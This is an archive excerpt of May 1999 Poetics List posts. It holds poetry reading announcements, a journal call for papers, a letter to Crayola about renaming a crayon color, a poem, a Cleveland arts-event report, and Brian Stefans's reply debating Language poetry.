>In celebration of the millenium, West Coast Line is planning a special issue on the re-conceptualizing of borders of all kinds. Postmodern, post-colonial, and cultural studies have troubled institutionalized definitions of subjectivity, ethnicity, gender, sex, race, and class; we invite contributors to add to the list:
>
>- medical technologies--prosthetic, reproductive, cosmetic--and generational difference
>- medicine and the borders of life
>- aging and/or retirement considered from non-medical perspectives (arts, philosophy, social sciences, studies in media and technology, or?)
>- mutual encroachments of the human, animal, machine, or?
>- re-thinking, re-drawing, re(in)stating, or dissolving quasi-natural borders--geographical, temporal, linguistic, cultural, economic
>- cartoon life or life-as-cartoon--the implications of the growing popularity of adult cartoons or the cartoon-like behaviour of action heros in popular dramas and pop stars in music videos
>- any of the above considered as a deterritorialization of death
>- homelessness--as nomadology, as a class issue, as post-nationalism, as

object of legal or political regulation (Deleuze to squeegee kids?)
>- the local--how might it be re-thought in the context of globalization?
>
>New writing and visual art, reproducible in black and white, are welcome. Please submit a brief note of intention and description of your proposed submission (150 words) by 30 July 1999. Final submissions are due 30 November 1999.
>
>West Coast Line
>2027 East Academic Annex, Simon Fraser University
>Burnaby, B.C.
>V5A 1S6
>

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175. **Dodie Bellamy**
Scalapino/Warsh at SPT
Mon 17 May 1999

Small Press Traffic presents

Leslie Scalapino
Lewis Warsh

Friday, May 21, 7:30 p.m.
New College Theater
777 Valencia Street
$5

Author of numerous books of poetry, prose, drama, and criticism, Leslie Scalapino's recent publications include Green and Black: Selected Writings (Talisman House, 1996) and a collaboration with Lyn Hejinian, Sight (Edge, 1999). She edits and publishes O Books. Her new book is New Time (Wesleyan University Press), an impressionistic diary that outlines and condenses her discovery of a new kind of time in Japan, Berkeley and Oakland. "This crystalline epic may be Scalapino's most 'accessible' book yet," writes Ron Silliman, "but its surfaces perpetually peel back to reveal a further that could never have existed before." Scalapino is, of course, one of America's greatest poets and a San Francisco landmark mighty and startling as the great Bay Bridge.

Lewis Warsh's involvement in the San Francisco poetry scene dates from the time he was a teenager, when he sat at Jack Spicer's feet at Aquatic Park and jousted with him at Gino & Carlo's bar in North Beach. In New York he became an important figure in the so-called "Second Generation" of New York School

poets, editing The World with Anne Waldman and United Artists Books with Bernadette Mayer. Lewis Warsh is the author of two novels, A Free Man and Agnes & Sally, a book of stories, Money Under the Table, and numerous books of poems, including Information from the Surface of Venus and Avenue of Escape. It has been too long since we in San Francisco have heard him speak out to us, for his is a writing that is uniquely inventful, romantic and satiric, striking every musical note, every percussive event known to God, Satan and the free radical animals of the earth.

Small Press Traffic Literary Arts Center
at New College
766 Valencia Street
San Francisco, CA 94110
415/[redacted]

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Small Press Traffic Literary Arts Center

at New College

766 Valencia Street

San Francisco, CA 94110

415/[redacted]

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176. Chris Piuma

new flim! Sondheim, Upton, Henry, Piuma, LeVine eat breakfast merrily.

Mon 17 May 1999

...flim: a free page...
(short, quirky writing)

In our new flim, ALAN SONDHEIM is a waffle called "my". The waffle says, "Her beautiful legs were visible on the sofa thoro's a noodle in my skull..." On the waffle, LAWRENCE UPTON is the butter, and we begin to see the tableau as a "still life". The butter slips out words like "delphinium" and "spoil" and "shrub". RON HENRY gushes syrup, and discusses what's happening "today on cable": "A 1984 film about breakdancing..." Orange juice arrives in the form of CHRIS PIUMA, who reports on "dick welluwould", "who has plastered pearls on temptress Liz Taytor and fuzzynaveled prop swinger Jack Michelson". And a small glass of milk named DONNA LeVINE completes our balanced breakfast with her "target yo-yo". "(It pissed off the members of the band Kiss.)"

Also, one talented winner shall receive a copy of "Timothy McSweeney's Blues/Jazz Odyssey", a very nice magazine.

Come! Come now! Come to http://www.flim.com and read flim -- the best way to start your day.

--

flim: a free page is always scanning the neighbordhood looking for submissions. Any original piece of writing (in paragraphs, not verse) from 50-600 words will

be considered, the quirkier the better. Previous issues have included jokes, recipes, prose poems, reviews, parodies, rewritings of older texts, randomly splayed bits of punctuation, and translations of articles from previous issues. flim is edited by Chris Piuma [[redacted]]. It is available in both print and online editions.

-- Chris Piuma, etc. http://www.flim.com Got a creative website? Advertise on flim - free! flim.com/flim/advert.html "A female impersonator demands payment after a party..."

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177. Poetics List

onomastic anathema / Zimmerman

Mon 17 May 1999

This came to the administrative account. Chris

From: "Daniel Zimmerman" <[redacted]>
Subject: onomastic anathema
Date: 5/16/99 1:34 PM -0700

As you may have heard, the Crayola company has decided to rename its color "Indian Rad" because it might offend Native Americans, even though the term "Indian" refers to the country from which the pigment derives. I sent the following letter to Crayola, and some weeks later received the note which follows it.

Letter to Crayola, 3.10.99

I've used and loved your products for over 50 years, and must register my disappointment with your decision to rename Indian Red because you would apparently rather make a concession to ignorance than educate people about the origins of colors, your stock in trade. You didn't change the name of the color Red back in the 50s because it might have made some moron think it referred to Communists, did you? How about renaming Black to mollify whatever hallucinating African-American might imagine it constitutes a personal reference? What about Purple or Violet or Lavender? Jerry Falwell might start a petition! Violet also sounds a lot like Violent -- wouldn't want kids to think about that, would you? Oh: do you plan to remove the name Indian Red but keep the name White? Doesn't seem quite fair, does it? And Gray! What a slur upon our distinguished senior citizens! Seems to me you need a color called Backbone.

Best,
Daniel Zimmerman

Dear CRAYOLA Consumer,

We appreciate your comments regarding the renaming of the Crayola indian red crayon color. We value all consumer opinions we receive and will share them with product management.

On behalf of the company, thank you for taking the time to express your comments. I hope you will continue to be one of our most valued customers.

Sincerely,

BINNEY & SMITH INC.

Linda Arnold
Consumer Affairs Representative

What do you think of this as an example of American Social Identity?

Dan

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178. Poetics List
/ Mark Peters
Mon 17 May 1999

Mark Peters asked me to forward this. Chris

From:"Mark Peters" <[redacted]>
Subject: Mark Peters Homepage
Date: 5/14/99 11:20 AM +0000

To whom it may concern--

I, who you may know as the editor of Deluxe Rubber Chicken, and not a bad juggler (5 balls), have made a homepage for my writing:

http://writing.upenn.edu/~petersm/mark/

I'd be delighted to hear what anybody thinks about the stuff.

Mark Peters

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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179. George Bowering
Re: What does Mr. Pound believe?
Mon 17 May 1999

> *I can't remember where this quote from T.S. Eliot on Pound occurs. I reread the "His Style and Metrics" essay and the introduction to the Literary Essays, but no luck, and the Carpenter bio is too long, with a terrific but unwieldy index. I need it for a paper I'm working on.*
>
> *Thanks!*

It's a title, isnt it?

George Bowering.

,

fax: [redacted]

↑ Index

180. Kevin Magee
Re: CHILD'SPLAY
Mon 17 May 1999

PIGLET AND POOH

These two now serve as model and allegory.
They bear the brunt of producing a spectacle.
The discharge between language and action.
An exceptional act within the master narrative
mimed on their bodies. They pass over into the act,
making the transition to action, moving to an inscription
producing real change. Transformation in the Real
of the relations of production. Make it the object of a transmission.
Annul the force trapped in the past, everything other than present.
Go back to the act that split things up and and and CUT CUT CUT

Two who were alike just one more night, electrical failure. Miners on strike.
The greatest norms have also all the old afflictions.

Affiliations: fictive interdependence carrying out in the Imaginary roles of extras, figures becoming possible at the present time --anticipate the culture to come--not now, not utopia, anachronism has a specific power. The cultural function of the anomaly not situated in the symbolic order in view of the impossible configurations of a return to childhood. Embody this group of anomalies showing the fissures, the fault lines the two of them are a mirroring,

a double-toy. In the identification lived out, the gamut of posturing and display, exhibition, meta-imago and orchestra. The stadium. The rows of onlookers with their distracted eyes. Expressive stagings repeat the scenes they have in common.

The body as intermediary, prop, passage.
The one viewing the other cries out in pain.
Setting in motion the "M" manuscript, formulate the fantasy
the real face. Falsified? False?

The passage from public to private.
Myth floating around and space is made and remade.
Children play in public games not made to be seen.
The fusion of child's play with no one knows.

Silence is a serious sign. A massacre,
or feast day without an anniversary.
A path you exit by to come to somewhere you've never been.
Repetitive words. Idea come to mind.

Staves they call them.
Spirit and cellular memories.
Here are objects with hidden powers.
Here are the guides that will come.

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181. Kevin Magee

Re: Living Space/Artmaking/Audiences

Mon 17 May 1999

In the way of an event note I'd like to try to contribute a remark or two around the exchange developing around the essay in Rhizome, starting not from this or that kind of poetry, but by gesturing towards another kind of space and neighborhood and environment where art might be written and painted and and and.

Saturday evening May 15 here in Cleveland 25 mostly residents of a renovated elementary school building built at the turn of the century a few blocks away from where Hart Crane went to high school showed their art and sculpture, read poetry, danced to African drumming, listened to electronic music and mingled with a turn-out of some 100-125 people in and out across 4-5 hours. We went through 50 bottles of wine and a couple of tables of party food, putting on an event that cost each of the 25 participants 25 dollars plus 250 dollars put up by our landlord.

Maybe the neighborhood was part of the draw, I don't know. Everyone was surprised by the response. A year ago in the same neighborhood ATF and FBI agents carried out an operation they called Operation Gansta Wrap, a drug bust reported on by a local news station a block away at my bus stop which called the area "the heart of the Cleveland drug trade." As I watched on the evening news, I could see the newsman was visibly nervous, and didn't seem to know where he was. A visitor from another world.

My sense of the neighborhood that I've called home for three years oscillates between two extreme but very real images: four teenage girls dancing in the street at 2:00 a.m. and chanting "c'mon and gitcha red hots" under the floodlight of a cop chopper hovering above them, and a cracked-out or drunk or probably both woman staggering down the street past my bus stop one afternoon pounding her naked breasts and screaming obscenities to the air. The faces on the people around the bus stop and the cornerstore looking on were blank, expressionless, but far from thoughtless.

But neither is it every kid with a gun, as Cauleen Smith so eloquently said about West Oakland when she was in Cleveland promoting her first film, and thinking about the Hodge School and what it accomplished with its recent event along with thinking about what it might represent in potentia, prompts a few notes that may or may not be related to some of the concerns apparently raised in Rhizome.

One, the only thing we had in common was the fact that, apart from several folks in art support group, we live in the same building, and the show was an introduction for many of us to each others' work. There was no problem with who was to be invited or not, though some residents decided to keep to themselves. A kind of built-in differentness was the result, even eclecticness. There was school-trained art alongside folk art, spoken word alongside the literary, African drums alongside electronics. Nobody here has whatever a national reputation is supposed to represent, and there were as many "beginners," people who have been painting and writing for only a year or so, alongside people who have been doing whatever they've been doing for years.

Two, the audience was so different it's impossible to characterize. People who follow the gallery scene, a few writers, some musicians, graphic artists, and a lot (a lot) of young people. I doubt if this audience is any different than any other large group of people in any medium to large-sized city in the U.S. As far as writing expectations go, obviously the spoken word/performance thing is something of an expectation, but the three poems I read were anything but that, and I didn't look up from my page once. The most negative reaction I got was from a musician I'd met a few times before, who said "I've got to tell you, you're stuff is impossibly abstruse," and then later in the evening came back at

me with the term, "logokinesis" to describe what he thought about my poems. Since I haven't read in public for three years, this take by a so-called "unliterary" ear was important to hear. An unexpected, meaningful response coming from nowhere.

Three, or somewhere. What is local? Is it simply regional? In my worst moments the institutions which promote a national culture appear like aircraft carriers for Washington with the long range guns from either Neidecker or the Foggy Dew, depending on who you listen to, patrolling the waters and assimilating every raw impulse from below into a market value. The potential for a radical politics and artmaking coinciding getting sacrificed as a result, remembering that what happened in Russian a century ago was originally intensely fractured and decentralized, All Power to the Soviets, etc., and Spicer's 'What is happening in a 70 mile radius' comes to mind as a related critique of the institutions of a so-called national culture. Again, this is a worst moment thought tempered by my lack of experience, having only read my work in public five times in San Francisco 1991-95 and once in New Jersey at the New Freedoms conference in 1994. Representing the work I've gotten done here, 1000 pages or so of a manuscript called Works and Days, xeroxed on to cardstock across five large spiral notebooks and set out on a table under a laminated poster of Jack Spicer from the 86 SF conference, were a continued object of attention from curious viewers. I put them out there as a kind of example of writtenness to counter spoken word performance assumptions.

Four, what could be done in dirtcheap loftspaces like this in other cities, painters and dancers and musicians and writers and others living in close proximity, the face-to-face real life thing supplementing the radicality of web subjectivity, and especially if doing what isn't being done here, like forming a cooperative, holding workshops, regular shows, running a press--I'm sure there's precedents in places like New York and San Francisco and elsewhere in the 60s that might resemble this possibility, especially if such areas or zones were organized in inner city areas that more and more are beginning to resemble the closed district for the super-exploitation of labor which according to administrative documents quoted in the film, Fotomator, were among the first plans for the Warsaw ghetto.

Because it isn't every kid with a gun. Though it's a sign of the times and a good one I think that C-Town Productions is showing May 22-23 at 8 p.m. at the Cleveland Playhouse a performance called E. 79th STREET, written and directed by F.A. Taylor, choreography by Sabrina C. Gregory, "The Hough Riots Brought Back To Life Through Poetry, Dance and Drama." The Hodge School is located between E. 74th and 76th Streets.

Here's a sample of seven of the 25 contributors' notes from the event program to pass on as a kind of sign for (local?) (regional?) art and performance.

ISHMAEL ANKHENATON. Began classical ballet at age 9, studied at Ravel Studio of Ballet and Jazz; the ODU Ballet of Virginia; the Conservatory of Classical Dance; Dance Theater of Harlem; Alvin Alley American Dance Center and Djoniba Dance Company. He is a former member of the Imani African-American Dance Company and has studied dance with Chuck Davis, Joan Peters, Alan Onickel, Maxine and Marle Basse.

LISA CHENG. Draws with mixed media. She graduated from The Cooper Union in NYC with a BFA in Studio Art and holds an MA in Art History from Oberlin College. She has taught children art at the Cleveland Museum of Art and the Cleveland Institute of Art.

ROMMELL FRANKLIN. Rommell Franklin A.K.A. Brother Kenyatta is a drum maker, African drumming teacher, and percussionist of West African drumming. He teaches, performs and makes drums of Guinea, Mali, Liberia and other African countries. He has performed with African drum and dance groups such as Iroko Drum and Dance Society, Dance Africa Dance, Imani African-American Dance Co., and Djembefolalu.

GREGORY HOLMES. This work was done solely in response to the myriad of emotions and situations that accompanies a diagnosis of AIDS in 1988. More than a decade later, this impact and the life altering changes it brought continue; it remains an issue without resolution.

DESHAWN (CASIO) JONES is a talented local Hip-Hop artist who at age eleven began using the beat box to compose his own works. He listened extensively to the Fat Boys, Run-D.M.C., KSR One, Kool-Moe Dee and L.L. Cool Jay. He has developed his own style and never uses anyone else's. He is very thankful to God for his talent and gift to help the young seeds (children) of today by giving them some positive energy to soak into their brains.

MICHAELANGELO LOVELACE. Cleveland born artist who explores concerns about cultural, racial, and economic tensions in the inner-city. The paintings take a realistic look at what it's really like growing up in a community that is sometimes looked upon as a war-zone. A community where anything can happen at any time. The paintings deal with the crime, drugs, street corner drunks, sex-hustlers and many other day to day happenings in the hood. The technique of his work is acrylic on textured canvas. Vibrant, childlike imagery is reminiscent of the work of both folk art and outsider art.

ALEXIS THYNNE. Interest in different cultures has taken her across the U.S. and also to the Central African Republic and Cameroon, where she spent two years teaching secondary level biology and one year teaching elementary level

environmental education. Her love of art was rediscovered when she began using murals as a teaching aid for environmental education. Ever since, Alexis has been exploring her own experiences through mixed media.

In closing, some notes jotted down during an impromptu talk by Brother Kenyatta's group:

"you have to make the drum speak
if you really listen you can hear the voices
this helps amplify the sound

sometimes in Africa
when the sun hits the metal piece
you can't get that in Cleveland

you got them three main sounds
bass tom-tom and the snare
you know what polyrhythm is right?

how to fit in how to move off
they make a big ceremony
everybody get together

the drum took me to a different level
I can make this Bar-B-Q can into a drum
your head will be in a zone your whole life

trying to put the respect back into these instruments
just like it was a violin
what's the long thing--a "cello"

the drum is a spiritual instrument
different energy levels that may come into the circle
my teacher was from Liberia
"this is a goat skin"

that's what they're doing
they're like talking you see

in West Africa right next to the Ivory Coast
they play this rhythm to their crops
they walking 124 miles or something

I play Brazilian. I play Cuban.
there's so many percussions you can learn

everyone from the village in Guinea
they play this rhythm
all you got to do is say AYEAYH

your soul is telling you to go join
go gather for the harvest

we go crops. we go drum."

↑ Index

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Tue 18 May 1999

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In terms of this last point, I would relate that in talking to several New York poets who were around at the time and who were not part of the "language" thing -- indeed, being excluded from the publication of that name and being quite miffed by this fact -- still are far more generous to what happened with the magazine and the "movement" than many of the poets of my age or slightly

younger, understanding that at a basic level what those people were up to was something quite different. Which is to say, these poets who were there at the time were well aware of these several factors that I allude to above, that it was really a "grassroots" kind of thing that didn't have a Marjorie Perloff or Hank Lazar (the mile-long shelf of critics raising the LangPos to the lofty height of canonicity) to give it the sort of guarantee that you seem to be believe -- again, I challenge you to find where this assurance is -- was there to push on their efforts. There was very little money circulating in that community for publications of any nature, that the lifestyles of these poets were often at least as radically "outside" as the more standard boho lifestyle of a Lower East Side poet (and they mostly lived in the Lower East Side, anyway), blah blah blah. Before "language," all of these poets more or less did the same thing, went to see music, art, read at St. Mark's and went to the readings, commented, complained, wondered if Olson was what he was cracked up to be, etc. (I would note that despite what people think of the New York poetry scene, the crowds mix here quite a bit and continue to do so, the real lines being present only in the minds of those who seem to need them to get by.)

I would suggest, if we want to talk about the "co-opting of the arts by institutions," that your own method of publishing your magazine plays more into the basic method of a fast-track to institutionalization than the publishing method of the Language poets, which, again, was very cheap, community-based, spontaneous, hard to find "closure" in, etc. A new issue of Rhizome -- and I am not criticizing you for publishing it, I'm just asking you to put it's parameters under the "socratic light" in a way that I would ask you to put the LangPos publications under the same light, and tell me which is more "radical" -- arrives on my doorstep from an anonymous publisher to whom I had sent a check in much the same way that Art in America would (were I to subsribe to it) or October, etc.

Here are some quotes from your post and responses:

"What I was trying to contend in my essay is that "radical artfice" and "indeterminacy" often coincide with a poetic practice that looks an awful lot like a struggle between academics and their discursive efforts to control the determination of good poetry."

-- You fail to establish this point in your essay, but as I don't have this with me I can't argue with that text. But I would like to ask where you find Charles Bernstein, for instance, talking about "good poetry," in those very terms since you obviously are very happy with taking other terms of his out of context. I would also like to argue that Charles would not make the mistake that you are making in your comments here, as he goes to great lengths to establish any sort of new terminology with a wealth of often very rich material, whether it be

Veronca Forrest-Thomson (whom I would suggest you read before deciding that "radical artifice" and "emotion" are as incompatible as you state) to Langston Hughes. This is an effort to show exactly what he is talking about "looks like." You might want to illustrate, also, which "struggle" you are talking about, perhaps a lengthy quote from one such struggle, and compare this to, say, one of these poems you are talking about. As a final point, I would add that a comparison with Pound's "discursive efforts to control the determination of good poetry" probably resembled the mainstream and academic effort of his time to make these very same value judgements, though in form rather than in content or even style of rhetoric, than Charles' do his own mainstream contemporaries.

"In concrete terms, this means that we who believe that radical politics is at least possible cannot mistake the act of simply writing vague, fragmented, ambiguous etc poems with the changing of the business of poetry."

-- Yes, you cannot, but there are many other mistakes that can be made, such as that of an emotionalism unmodified by recourse to the data at hand.

"The business of poetry is all the various devices, contraptions which do the actually judging of poetry and that lead to a belief that the only important writers are those who are being written on (cf. the writers of dissertations)."

-- One thing I would mention, again looking at this Pound / Bernstein dichotomy, is that Bernstein has struggled to come up with a critical apparatus with which to guage the "quality" of poetry which is decentralized, open to anomaly, not focused on the racial or gender make-up of the group with which he is most associated, non-canonical in the sense that many of the poets he writes about were not "universal" writers in the sense of Goethe or, closer to home, Frost, etc. While there are many ways to argue with his essays -- and I have several friends whom you would consider "stooges" (I think you use this word twice in your essay) of the Language Poets who have taken essays such as "Poetics of the Americas" to task -- the essential contours of the project are very admirable and deserve very close attention, and the method, which relies on incredible amounts of research, thought as to the context in which the statements will appear, etc. not to mention focusing _on_ that context, which indeed is often an academic context -- who has been a more strong and legitimate critic of the practices of the academy (which, despite our coolness in pride in being "non-academic" and "street-wise" is a major cultural institution which, unless you want to throw it out completely, is worth attempting to review and rebuild) than Charles Bernstein? I'm sure there are dozens of people who are willing to claim that it's "ruining poetry," blah blah, and that Charles is just another cog, but there has been a subtle shift in the attentions of his essays that has been toward a consideration of that very institution to which he belongs -- a very

pointed, angry, to many annoying, specific, meaningful, researched, criticism which, if anything, illustrates the integrity of his project. That is, he is not in denial that he is part of an institution of which he is highly critical, and in fact may find abhorrent (though I shouldn't advertise this point, he would be the first one to dissuade you from attending the Buffalo program if he didn't think it was worth your time). Well, I won't go on here, unless this really bugs you.

"What I commend Jeff Clark for in my essay applies to Garrett Caples,
Martin Corless Smith, Cathy Wagner, Tracy
Grinnel, Emily Grossman, Brian Lucas and other "non-allied" poets."

-- They won't be much longer, if you or anyone else decides to group them that way. The "Non-allied Poets" will be the subject of Marjorie Perloff 2010's famous book, the "Poetics of the (oops) Decentralized."

"I commend these poets' refusal to use theory as a way of justifying their own work as either socially relevant or "radical" or even "progressive" or even necessary. I also commend them for not falling into the (fake) hermeticism of the mainstream. A refusal to play poetry for tenure, promotion, etc may be the most politically effective gesture yet because as along as poetry resembles business, some way to join the firm or succeed in school, we cannot have "radical" poetries."

-- But the turn has to be made to suggest how these poetries are "radical" apart from their apparent break with the fake, in your terms, radicalism of the previous generation. In other words, let's find positive terms rather than negative ones, and the "challenge round" could be: let's find positive terms for these poets' poetics without being Ezra Pound, i.e. finding a tradition for them to be in the line of defending. I don't find anything radical about the poetries of these writers, but I am more than willing to be convinced that they are "radical" -- but then again, they certainly don't have to be, either, for me to like them, as I read all kinds of stuff that's politically luke-warm and like it bundles. Consequently, it's very depressing to me to think that this is the most "politically effective gesture yet" since, well, that's a pretty narrow sense of politics. I wouldn't be able to explain _that_ to my mother.

"I commend their humility and I believe that it will go along way farther to counteracting the self-aggrandizing, self-promotional carreerist tendencies that have arrisen out of an american poetic-theoretical nexus associated with "collapsed subjectivity". The decentered poem does nothing, but when it is consecrated by a host of Hank Lazers, Marjorie Perloffs, and so forth a very real subjectivitiy is made: the celebrity poet."

-- I'm sure they are very nice people, and there are, without a doubt, a few "self-aggrandizing" poets of the Language ilk whose purported interests in collectivity and objective, informed consideration of cultural politics, etc., runs

counter to the obviously (not necessarily masculinist but certainly mostly) pride in being as learned as they are, and being able to muscle through the most abstract conversation about issues that, in the end, are pretty dead as soon as they hit air. I could tell you a few stories. But there just aren't nearly as many as statements like the above would suggest, and, again, I am not sure why we choose to criticize poets who have done the kind of reading that their ideas deserve in order to make them fuller, more informed, etc. As Pound himself would write, do we commend a musician for bragging that he/she does not know how to play Mozart? (Yes, Paul McCartney never took singing lessons, hurrah.) It's also a terrible reduction, again, to think that "collapsed subjectivity" has been the primary modus-operandi of the recent American poetics, especially since you suggest, above, that "radical artifice" is the main axis point -- you like to work in scare quotes, with interchangeable targets. I think many of us are not nearly as oppressed by the catch phrases.

"One of the most important points Perloff makes in POETICS OF INDETERIMINACY is, if I recall, in the chapter on Stein where she discusses the difference between indeterminacy and ambiguity. There her formalism is at its finest: she shows in detail what made Stein great and what her imitators were not too clear about."

-- Please elaborate on this binary. Despite what you might think, I agree with you that cartloads of writing has been produced out of a very vague, un-aesthetic (I mean non-self critical in terms of whether the art at hand is really "working") sense of praxis, and that, in bulk, it is likely to turn off anyone to what we call "postmodern" or even contemporary poetry. On the other hand, when I approach this work and my teeth start to gnash, I have that little line of Bob Dylan's floating around in the back of my head -- and if I could sing it the way he does right here I would -- "Don't crticize what you don't understand." And so I try to understand, and gnash later. This language of "imitators" is very Poundian, but so again I ask you to look at these ideas -- innovation, imitation, originality, etc. -- divorced from your obvious aesthetic biases and see if they really work, or are even necessary. "Imitation" has a certain "radical" (a word I rarely) potential which, well, I am investigating.

"It is in an interesting time to consider whether or not a writer should possess a strong ego and whether or not the language school's post-humanism was every anything but the proliferation of the ego by new means, in new modes."

-- This is any easy one to answer: yes. Of course, but from there, let's see what these particular egos have managed to produce, what are the contours of the work, how to they operate socially, when and where has the ego been sacrificed for something that could be called (for lack of a better word) "constructivist,"

how is the ego played off of this construction, is it really as closed and negating an ego as we at first feel, is it charmless and sterile, etc.

I think that your essay, and this particular post, are part of a trend that I sense very strongly write now in poets who are, say, generally within my age range, some older some younger (so that would be mid-twenties to mid-thirties) who are prone to making very over-arching, "emotional" (most more often hysterical) statements about how the Languae Poets have completely subtracted a certain variable -- "emotion" -- from the poetic equation in America. I would suggest two quick things to read, Max Weber's Protestant Ethic and the Spirit of Capitalism for an idea of where "our" sense of emotion has gone -- it's gone quite far, but far away, I think, such that now we don't really know how rich "emotion" can be, or how complicated -- but also Charles' exchange with Louis Simpson in one of those books that Lazar published a while back, an exchange that reappears, I think, in the Politics of Poetic Form, in which his ideas on "emotion" are most misunderstood and most strongly stated. I certainly don't think it's wrong to take CB up on his ideas -- that's what they're there for, in fact, and few welcome strong criticism of his ideas like he does -- but the "ambiguous, not too clear" criticism the likes of which appear in your essay are none to productive.

Well, I could go on, but, luckily perhaps, am out of time.

Sincerely,
Brian

↑ Index

183. Pierre Joris
Manifesto&a Performance
Tue 18 May 1999

FOR THOSE IN THE ALBANY, NY AREA:

Thursday May 20 - 8pm
At
The LOFT
40 Broadway, Albany NY

MANIFESTO&A

A Multimedia Performance
By
Pierre Joris &
Nicole Peyrafitte
With

jil hanifan,
Violin

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Suggested donation $5

Pierre Joris & Nicole Peyrafitte's MANIFESTO&A performance combines poetry, voice, electronically displayed visuals, and violin improvisations by jil hanifan.

Originally based on Pierre Joris' NOMAD MANIFESTO which states:
"-A nomadic poetics is a war machine, always on the move, always changing, morphing, moving through languages, cultures, terrains, times without stopping. Refueling halts are called poases, they last a night or a day, the time of a poem, & then move on.
- A nomadic poetics needs mindfulness. In & of the drift (dérive) there is no at- home-ness here but only an ever more displaced drifting. ..."

The MANIFESTO will be the main thread from which Joris & Peyrafitte will present their latest texts, drawings, paintings and songs as jil hanifan's violin stitches them together or apart. Suggested donation $5

DIRECTIONS TO the Loft

> *From Albany:*

Follow Madison Ave. towards the river. Bear right at yield sign following signs to the Port of Albany. Follow road underneath overpass. Take right into Port of Albany. Pass U-Haul building on left. Follow road 1/8th of a mile. Take

right at Fourth Ave. Park along side or in back of building. Go into the first door in from Broadway with the Bankshot sign next to it and go up the stairs.

> *From 787 South:*

Get off at Madison Ave. /Port of Albany exit. Take left at light at the end of the exit ramp following signs to Port of Albany. Follow road underneath overpass. Take right into Port of Albany. Pass U-Haul building on left. Follow road 1/8th of a mile. Take right at Fourth Ave. Park along side or in back of building. Go into the first door in from Broadway with the Bankshot sign next to it and go up the stairs.

> *From 787 North:*

Get off at Port of Albany exit. Take a right at light at the end of the exit ramp and then bear left going past 787 sign onto Broadway. Follow roadfor fifty yards. Take left at Fourth Ave. Park along side or in back of building. Go into the first door in from Broadway with the Bankshot sign next to it and go up the stairs.

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==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
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Nomadism answers to a relation that
possession cannot satisfy.

Maurice Blanchot
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↑ Index

184. Brian Stefans
Response to Standard Schaefer (vers.II with fixed spelling)
Tue 18 May 1999

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-- Yes, you cannot, but there are many other mistakes that can be made, such as that of an emotionalism unmodified by recourse to the data at hand.

"The business of poetry is all the various devices, contraptions which do the actually judging of poetry and that lead to a belief that the only important writers are those who are being written on (cf. the writers of dissertations)."

-- One thing I would mention, again looking at this Pound / Bernstein dichotomy, is that Bernstein has struggled to come up with a critical apparatus with which to gauge the "quality" of poetry which is decentralized, open to anomaly, not focused on the racial or gender make-up of the group with which he is most associated, non-canonical in the sense that many of the poets he writes about were not "universal" writers in the sense of Goethe or, closer to home, Frost, etc. While there are many ways to argue with his essays -- and I have several friends whom you would consider "stooges" (I think you use this word twice in your essay) of the Language Poets who have taken essays such as "Poetics of the Americas" to task -- the essential contours of the project are very admirable and deserve very close attention, and the method, which relies on incredible amounts of research, thought as to the context in which the statements will appear, etc. not to mention focusing _on_ that context, which indeed is often an academic context -- who has been a more strong and legitimate critic of the practices of the academy (which, despite our coolness in pride in being "non-academic" and "street-wise" is a major cultural institution which, unless you want to throw it out completely, is worth attempting to review and rebuild) than Charles Bernstein? I'm sure there are dozens of people who are willing to claim that it's "ruining poetry," blah blah, and that Charles is just another cog, but there has been a subtle shift in the attentions of his essays that has been toward a consideration of that very institution to which he belongs -- a very pointed, angry, to many annoying, specific, meaningful, researched, criticism which, if anything, illustrates the integrity of his project. That is, he is not in denial that he is part of an institution of which he is highly critical, and in fact may find abhorrent (though I shouldn't advertise this point, he would be the first one to dissuade you from attending the Buffalo program if he didn't think it was worth your time). Well, I won't go on here, unless this really bugs you.

"What I commend Jeff Clark for in my essay applies to Garrett Caples,
Martin Corless Smith, Cathy Wagner, Tracy
Grinnel, Emily Grossman, Brian Lucas and other "non-allied" poets."

-- They won't be much longer, if you or anyone else decides to group them that way. The "Non-allied Poets" will be the subject of Marjorie Perloff 2010's famous book, the "Poetics of the Oops Decentralized."

"I commend these poets' refusal to use theory as a way of justifying their own work as either socially relevant or "radical" or even "progressive" or even

necessary. I also commend them for not falling into the (fake) hermeticism of the mainstream. A refusal to play poetry for tenure, promotion, etc. may be the most politically effective gesture yet because as along as poetry resembles business, some way to join the firm or succeed in school, we cannot have "radical" poetries."

-- But the turn has to be made to suggest how these poetries are "radical" apart from their apparent break with the fake, in your terms, radicalism of the previous generation. In other words, let's find positive terms rather than negative ones, and the "challenge round" could be: let's find positive terms for these poets' poetics without being Ezra Pound, i.e. finding a tradition for them to be in the line of defending. I don't find anything radical about the poetries of these writers, but I am more than willing to be convinced that they are "radical" -- but then again, they certainly don't have to be, either, for me to like them, as I read all kinds of stuff that's politically luke-warm and like it bundles. Consequently, it's very depressing to me to think that this is the most "politically effective gesture yet" since, well, that's a pretty narrow sense of politics. I wouldn't be able to explain _that_ to my mother.

"I commend their humility and I believe that it will go along way farther to counteracting the self-aggrandizing, self-promotional careerist tendencies that have arisen out of an american poetic-theoretical nexus associated with "collapsed subjectivity". The decentered poem does nothing, but when it is consecrated by a host of Hank Lazers, Marjorie Perloffs, and so forth a very real subjectivitiy is made: the celebrity poet."

-- I'm sure they are very nice people, and there are, without a doubt, a few "self-aggrandizing" poets of the Language ilk whose purported interests in collectivity and objective, informed consideration of cultural politics, etc., runs counter to the obviously (not necessarily masculinist but certainly mostly) pride in being as learned as they are, and being able to muscle through the most abstract conversation about issues that, in the end, are pretty dead as soon as they hit air. I could tell you a few stories. But there just aren't nearly as many as statements like the above would suggest, and, again, I am not sure why we choose to criticize poets who have done the kind of reading that their ideas deserve in order to make them fuller, more informed, etc. As Pound himself would write, do we commend a musician for bragging that he/she does not know how to play Mozart? (Yes, Paul McCartney never took singing lessons, hurrah.) It's also a terrible reduction, again, to think that "collapsed subjectivity" has been the primary modus-operandi of the recent American poetics, especially since you suggest, above, that "radical artifice" is the main axis point -- you like to work in scare quotes, with interchangeable targets. I think many of us are not nearly as oppressed by the catch phrases.

"One of the most important points Perloff makes in POETICS OF INDETERIMINACY is, if I recall, in the chapter on Stein where she discusses the difference between indeterminacy and ambiguity. There her formalism is at its finest: she shows in detail what made Stein great and what her imitators were not too clear about."

